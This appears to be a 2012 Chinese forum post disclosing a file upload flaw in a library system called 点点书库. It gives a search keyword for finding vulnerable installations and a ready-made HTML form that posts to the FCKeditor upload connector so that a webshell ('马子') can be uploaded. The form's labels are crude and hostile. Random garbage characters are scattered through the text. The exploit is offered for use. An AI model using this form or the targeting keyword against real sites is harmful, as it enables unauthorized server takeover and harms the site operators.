主题:图书馆系统任意文件上传漏洞+ M! x; @ b7 I: b: n1 C4 ]
作者:冰锋刺客) }' V! F! m2 r( V4 V) A1 [$ d
厂商:点击书(dianjishu.com)
' r3 t6 c& l9 ^+ {8 [/ Y 日期:2012-6-21
" b! K. m/ s' L1 m7 Z* i1 c3 F
, v6 r' U( B0 C3 q9 [I 概述
+ m$ }* ?+ u& ^, H( L* t9 J 点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell2 C' G4 A/ @! v2 c9 o0 `
II 简介
q% ?, U8 w$ e* g 关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"/ H1 D- Q$ {2 Y1 t7 p, _
补充一个漏洞
: i# d5 W' c( f' d1 i% Q9 p. T6 h1 E) S <form id="frmUpload" enctype="multipart/form-data"
' v3 _. `* k. c& u2 o action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>, C5 h0 n7 ~: K3 l. d
<input id="btnUpload" type="submit" value="操翻他">, V# i/ v- C" i% n# N8 q
</form>4 m/ f5 W3 U5 Y& i
你们懂的
+ [8 w5 |: `" @4 m 那傻逼提供还需要改包.
: c& Y3 t+ E' ]. e% N+ V 自己看了下源代码发现fckeditor# v: _ o* Z K5 g
直接秒杀& _( ^# \0 e" Z
|
发表于 2012-9-10 21:20:59
收藏
支持
反对